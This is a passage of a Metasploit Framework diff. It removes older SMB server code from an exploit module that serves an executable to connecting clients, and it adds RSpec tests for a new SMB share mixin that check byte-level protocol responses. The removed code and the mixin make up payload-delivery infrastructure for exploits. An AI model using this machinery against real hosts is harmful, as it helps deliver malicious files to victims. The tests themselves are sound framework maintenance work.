pkt['Payload'].v['IsDirectory'] = 0 - c.put(pkt.to_s) - else - pkt = CONST::SMB_CREATE_RES_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX - pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 # OBJECT_NAME_NOT_FOUND - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - c.put(pkt.to_s) - end - - end - - def smb_cmd_read(c, buff) - pkt = CONST::SMB_READ_PKT.make_struct - pkt.from_s(buff) - - offset = pkt['Payload'].v['Offset'] - length = pkt['Payload'].v['MaxCountLow'] - - pkt = CONST::SMB_READ_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 12 - pkt['Payload'].v['AndX'] = 0xff # no more commands - pkt['Payload'].v['Remaining'] = 0xffff - pkt['Payload'].v['DataLenLow'] = length - pkt['Payload'].v['DataOffset'] = 59 - pkt['Payload'].v['DataLenHigh'] = 0 - pkt['Payload'].v['Reserved3'] = 0 - pkt['Payload'].v['Reserved4'] = 6 - pkt['Payload'].v['ByteCount'] = length - pkt['Payload'].v['Payload'] = @exe[offset, length] - - c.put(pkt.to_s) - end - - def smb_cmd_trans(c, buff) - pkt = CONST::SMB_TRANS2_PKT.make_struct - pkt.from_s(buff) - - sub_command = pkt['Payload'].v['SetupData'].unpack("v").first - case sub_command - when 0x5 # QUERY_PATH_INFO - smb_cmd_trans_query_path_info(c, buff) - when 0x1 # FIND_FIRST2 - smb_cmd_trans_find_first2(c, buff) - else - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000225 # NT_STATUS_NOT_FOUND - c.put(pkt.to_s) - end - end - - def smb_cmd_trans_query_path_info(c, buff) - pkt = CONST::SMB_TRANS2_PKT.make_struct - pkt.from_s(buff) - - if pkt['Payload'].v['SetupData'].length < 16 - # if QUERY_PATH_INFO_PARAMETERS doesn't include a file name, - # return a Directory answer - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 10 - pkt['Payload'].v['ParamCountTotal'] = 2 - pkt['Payload'].v['DataCountTotal'] = 40 - pkt['Payload'].v['ParamCount'] = 2 - pkt['Payload'].v['ParamOffset'] = 56 - pkt['Payload'].v['DataCount'] = 40 - pkt['Payload'].v['DataOffset'] = 60 - pkt['Payload'].v['Payload'] = - "\x00" + # Padding - # QUERY_PATH_INFO Parameters - "\x00\x00" + # EA Error Offset - "\x00\x00" + # Padding - #QUERY_PATH_INFO Data - [@lo, @hi].pack("VV") + # Created - [@lo, @hi].pack("VV") + # Last Access - [@lo, @hi].pack("VV") + # Last Write - [@lo, @hi].pack("VV") + # Change - "\x10\x00\x00\x00" + # File attributes => directory - "\x00\x00\x00\x00" # Unknown - c.put(pkt.to_s) - - else - # if QUERY_PATH_INFO_PARAMETERS includes a file name, - # returns an object name not found error - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 #OBJECT_NAME_NOT_FOUND - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - c.put(pkt.to_s) - - end - end - - def smb_cmd_trans_find_first2(c, buff) - - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - file_name = Rex::Text.to_unicode(@scr_file) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 10 - pkt['Payload'].v['ParamCountTotal'] = 10 - pkt['Payload'].v['DataCountTotal'] = 94 + file_name.length - pkt['Payload'].v['ParamCount'] = 10 - pkt['Payload'].v['ParamOffset'] = 56 - pkt['Payload'].v['DataCount'] = 94 + file_name.length - pkt['Payload'].v['DataOffset'] = 68 - pkt['Payload'].v['Payload'] = - "\x00" + # Padding - # FIND_FIRST2 Parameters - "\xfd\xff" + # Search ID - "\x01\x00" + # Search count - "\x01\x00" + # End Of Search - "\x00\x00" + # EA Error Offset - "\x00\x00" + # Last Name Offset - "\x00\x00" + # Padding - #QUERY_PATH_INFO Data - [94 + file_name.length].pack("V") + # Next Entry Offset - "\x00\x00\x00\x00" + # File Index - [@lo, @hi].pack("VV") + # Created - [@lo, @hi].pack("VV") + # Last Access - [@lo, @hi].pack("VV") + # Last Write - [@lo, @hi].pack("VV") + # Change - [@exe.length].pack("V") + "\x00\x00\x00\x00" + # End Of File - "\x00\x00\x10\x00\x00\x00\x00\x00" + # Allocation size - "\x80\x00\x00\x00" + # File attributes => directory - [file_name.length].pack("V") + # File name len - "\x00\x00\x00\x00" + # EA List Lenght - "\x00" + # Short file lenght - "\x00" + # Reserved - ("\x00" * 24) + - file_name - - c.put(pkt.to_s) end end - diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb new file mode 100644 index 0000000000..b59d037cda --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb @@ -0,0 +1,59 @@ + +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + let(:response_length) { 39 } + let(:valid_response) do + "\x00\x00\x00\x23\xff\x53\x4d\x42" + + "\x04\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x00\x00\x00" + end + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#send_close_res" do + it "returns the number of bytes sent" do + expect(mod.send_close_res(client)).to eq(response_length) + end + + it "sends a valid SMB_COM_CLOSE response to the client" do + mod.send_close_res(client) + client.seek(0) + res = client.read + expect(res).to eq(valid_response) + end + end + +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb new file mode 100644 index 0000000000..af656f2305 --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb @@ -0,0 +1,95 @@ + +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + let(:default_response_length) { 73 } + let(:default_response) do + "\x00\x00\x00\x45\xff\x53\x4d\x42" + + "\x72\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x11\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00" + end + let(:valid_request) do + "\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x43\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" + + "\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f" + + "\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02" + + "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f" + + "\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70" + + "\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30" + + "\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54" + + "\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00" + end + let(:valid_response_length) { 81 } + let(:challenge_length) { 8 } + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#send_negotitate_res" do + it "returns the number of bytes sent" do + expect(mod.send_negotitate_res(client)).to eq(default_response_length) + end + + it "sends a valid SMB_COM_NEGOTIATE response to the client" do + mod.send_negotitate_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_response) + end + end + + describe "#smb_cmd_negotiate" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_negotiate(client, valid_request)).to eq(valid_response_length) + end + + it "returns an 8 byte challenge" do + mod.smb_cmd_negotiate(client, valid_request) + client.seek(0) + pkt = Rex::Proto::SMB::Constants::SMB_NEG_RES_NT_PKT.make_struct + pkt.from_s(client.read) + + expect(pkt['Payload'].v['KeyLength']).to eq(challenge_length) + end + end + +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb new file mode 100644 index 0000000000..faba5c8d80 --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb @@ -0,0 +1,134 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + + let(:default_response_length) { 139 } + let(:default_response) do + "\x00\x00\x00\x87\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x22\xff\x00\x00\x00\x03\x00\x00\x01\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\xff\x01\x1f\x00\x00\x00\x00\x00\x00\x00" + end + + let(:valid_request) do + "\x00\x00\x00\x58\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x18\x07\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x0c" + + "\x00\x00\xc0\xfd\x18\xff\x00\xde\xde\x00\x02\x00\x10\x00\x00\x00" + + "\x00\x00\x00\x00\x01\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x90\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x01\x40\x00\x00" + + "\x02\x00\x00\x00\x00\x05\x00\x00\x5c\x00\x00\x00" + end + let(:valid_response) do + "\x00\x00\x00\x87\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x22\xff\x00\x00\x00\x03\xef\xbe\x01\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x10\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x07\x00\x01\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\xff\x01\x1f\x00\x00\x00\x00\x00\x00\x00" + end + + let(:non_existent_path_request) do + "\x00\x00\x00\x68\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x18\x07\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x0c" + + "\x00\x00\x80\x00\x18\xff\x00\xde\xde\x00\x12\x00\x16\x00\x00\x00" + + "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00" + + "\x02\x00\x00\x00\x00\x15\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00" + + "\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" + end + let(:smb_error_response) do + "\x00\x00\x00\x23\xff\x53\x4d\x42\xa2\x34\x00\x00\xc0\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x00\x00\x00" + end + let(:smb_error_length) { 39 } + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + mod.share = 'test' + mod.path_name = "\\" + mod.file_name = 'false.exe' + mod.file_contents = 'metasploit' + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#send_nt_create_andx_res" do + it "returns the number of bytes sent" do + expect(mod.send_nt_create_andx_res(client)).to eq(default_response_length) + end + + it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do + mod.send_nt_create_andx_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_response) + end + end + + describe "#smb_cmd_nt_create_andx" do + context "when valid request" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_nt_create_andx(client, valid_request)).to eq(default_response_length) + end + + it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do + mod.smb_cmd_nt_create_andx(client, valid_request) + client.seek(0) + res = client.read + expect(res).to eq(valid_response) + end + end + + context "when non existent path create requests" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_nt_create_andx(client, non_existent_path_request)).to eq(smb_error_length) + end + + it "sends a SMB_STATUS_OBJECT_NAME_NOT_FOUND error response to the client" do + mod.smb_cmd_nt_create_andx(client, non_existent_path_request) + client.seek(0) + res = client.read + expect(res).to eq(smb_error_response) + end + end + end + +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb new file mode 100644 index 0000000000..7d424ffd89 --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb @@ -0,0 +1,124 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + + let(:default_response_length) { 63 } + let(:default_response) do + "\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x0c\xff\x00\x00\x00\xff\xff\x00\x00\x00\x00\x00" + + "\x00\x3b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00" + end + + let(:valid_request) do + "\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x18\x07\xe8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" + + "\x00\x00\x00\x01\x0c\xff\x00\xde\xde\xad\xde\x00\x00\x00\x00\x00" + + "\x40\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00" + end + let(:valid_response) do + "\x00\x00\x00\x45\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x0c\xff\x00\x00\x00\xff\xff\x00\x00\x00\x00\x00" + + "\x40\x3b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x0a\x00\x6d" + + "\x65\x74\x61\x73\x70\x6c\x6f\x69\x74" + end + let(:valid_response_length) { 73 } + + let(:invalid_offset_request) do + "\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x18\x07\xe8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" + + "\x00\x00\x00\x01\x0c\xff\x00\xde\xde\xad\xde\x00\xd0\x00\x00\x00" + + "\x40\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00" + end + let(:empty_response) do + "\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x0c\xff\x00\x00\x00\xff\xff\x00\x00\x00\x00\x00" + + "\x40\x3b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00" + end + let(:empty_response_length) { 63 } + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + mod.share = 'test' + mod.path_name = "\\" + mod.file_name = 'false.exe' + mod.file_contents = 'metasploit' + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#send_read_andx_res" do + it "returns the number of bytes sent" do + expect(mod.send_read_andx_res(client)).to eq(default_response_length) + end + + it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do + mod.send_read_andx_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_response) + end + end + + describe "#smb_cmd_read_andx" do + + context "when read request for valid offset" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_read_andx(client, valid_request)).to eq(valid_response_length) + end + + it "sends a valid response with the contents to the client" do + mod.smb_cmd_read_andx(client, valid_request) + client.seek(0) + res = client.read + expect(res).to eq(valid_response) + end + end + + context "when read request for invalid offset" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_read_andx(client, invalid_offset_request)).to eq(empty_response_length) + end + + it "sends an empty read response to the client" do + mod.smb_cmd_read_andx(client, invalid_offset_request) + client.seek(0) + res = client.read + expect(res).to eq(empty_response) + end + end + + end + +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb new file mode 100644 index 0000000000..254c73e829 --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb @@ -0,0 +1,138 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + + let(:default_response_length) { 45 } + let(:default_response) do + "\x00\x00\x00\x29\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x03\xff\x00\x00\x00\x00\x00\x00\x00" + end + + let(:default_tree_connect_response_length) { 62 } + let(:default_tree_connect_response) do + "\x00\x00\x00\x3a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x03\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + end + + let(:valid_request) do + "\x00\x00\x00\xf6\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" + + "\x00\x00\x00\xb4\x0d\x75\x00\x6a\x00\x04\x11\x32\x00\x01\x00\x00" + + "\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\xd4\x00\x00\x00\x2d" + + "\x00\x00\x00\x00\x41\x00\x64\x00\x6d\x00\x69\x00\x6e\x00\x69\x00" + + "\x73\x00\x74\x00\x72\x00\x61\x00\x74\x00\x6f\x00\x72\x00\x00\x00" + + "\x44\x00\x45\x00\x4d\x00\x4f\x00\x00\x00\x00\x00\x00\x00\x04\xff" + + "\x00\xf6\x00\x08\x00\x50\x00\x81\x00\xd5\xd0\x4b\x3f\xa4\xd7\x53" + + "\xa4\x03\x65\xe4\x9c\x00\x68\xfb\xb5\x01\x01\x00\x00\x00\x00\x00" + + "\x00\x6b\xf3\xdc\xf0\xd5\x4f\xd0\x01\x48\x51\x81\xa6\x07\x5b\x97" + + "\xe6\x00\x00\x00\x00\x02\x00\x18\x00\x31\x00\x37\x00\x32\x00\x2e" + + "\x00\x31\x00\x36\x00\x2e\x00\x31\x00\x35\x00\x38\x00\x2e\x00\x31" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\x00\x5c\x00\x31\x00" + + "\x37\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x2e\x00\x31\x00\x35\x00" + + "\x38\x00\x2e\x00\x31\x00\x5c\x00\x4e\x00\x52\x00\x42\x00\x4a\x00" + + "\x55\x00\x00\x00\x3f\x3f\x3f\x3f\x3f\x00" + end + let(:valid_response) do + "\x00\x00\x00\x7e\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x03\x75\x00\x60\x00\x01\x00\x37\x00\x00\x55\x00" + + "\x6e\x00\x69\x00\x78\x00\x00\x00\x53\x00\x61\x00\x6d\x00\x62\x00" + + "\x61\x00\x20\x00\x33\x00\x2e\x00\x34\x00\x2e\x00\x37\x00\x00\x00" + + "\x57\x00\x4f\x00\x52\x00\x4b\x00\x47\x00\x52\x00\x4f\x00\x55\x00" + + "\x50\x00\x00\x00\x07\xff\x00\x00\x00\x01\x00\xa9\x00\x12\x00\x00" + + "\x00\x00\x00\x0d\x00\x41\x3a\x00\x4e\x00\x54\x00\x46\x00\x53\x00" + + "\x00\x00" + end + let(:valid_response_length) { 130 } + + let(:opts) { {} } + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + mod.share = 'test' + mod.path_name = "\\" + mod.file_name = 'false.exe' + mod.file_contents = 'metasploit' + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#send_session_setup_andx_res" do + context "when no extra command" do + it "returns the number of bytes sent" do + expect(mod.send_session_setup_andx_res(client)).to eq(default_response_length) + end + + it "sends a valid SMB_COM_SESSION_SETUP_ANDX response to the client" do + mod.send_session_setup_andx_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_response) + end + end + + context "when extra SMB_COM_TREE_CONNECT_ANDX command" do + before(:each) do + tree_connect_response = Rex::Proto::SMB::Constants::SMB_TREE_CONN_ANDX_RES_PKT.make_struct + opts[:andx_command] = tree_connect_response + end + + it "returns the number of bytes sent" do + expect(mod.send_session_setup_andx_res(client, opts)).to eq(default_tree_connect_response_length) + end + + it "sends a valid SMB_COM_SESSION_SETUP_ANDX response to the client" do + mod.send_session_setup_andx_res(client, opts) + client.seek(0) + res = client.read + expect(res).to eq(default_tree_connect_response) + end + end + end + + describe "#smb_cmd_session_setup_andx" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_session_setup_andx(client, valid_request)).to eq(valid_response_length) + end + + it "sends a valid SMB_COM_SESSION_SETUP_ANDX response to the client" do + mod.smb_cmd_session_setup_andx(client, valid_request) + client.seek(0) + res = client.read + expect(res).to eq(valid_response) + end + end + +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb new file mode 100644 index 0000000000..a649c76774 --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb @@ -0,0 +1,76 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + + let(:valid_find_file_both_directory_info_params) do + "\x16\x00\x56\x05\x07\x00\x04\x01\x00\x00\x00\x00\x5c\x00\x74\x00" + + "\x65\x00\x73\x00\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" + end + let(:find_file_both_directory_info_res_length) { 179 } + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + mod.share = 'test' + mod.path_name = "\\" + mod.file_name = 'test.exe' + mod.file_contents = 'metasploit' + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#smb_cmd_trans2_find_first2" do + + context "when valid SMB_FIND_FILE_BOTH_DIRECTORY_INFO parameters" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_trans2_find_first2(client, valid_find_file_both_directory_info_params)).to eq(find_file_both_directory_info_res_length) + end + + it "send TRANSACTIONS2 response with the file name found in the SMB_Data" do + mod.smb_cmd_trans2_find_first2(client, valid_find_file_both_directory_info_params) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.file_name)) + end + end + end + +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb new file mode 100644 index 0000000000..7b1e9f5a3e --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb @@ -0,0 +1,75 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + + let(:valid_query_file_standard_info_params) do + "\xad\xde\xed\x03" + end + let(:query_file_standard_info_res_length) { 83 } + + before(:each) do + mod.instance_variable_set('@state', { + client => { + 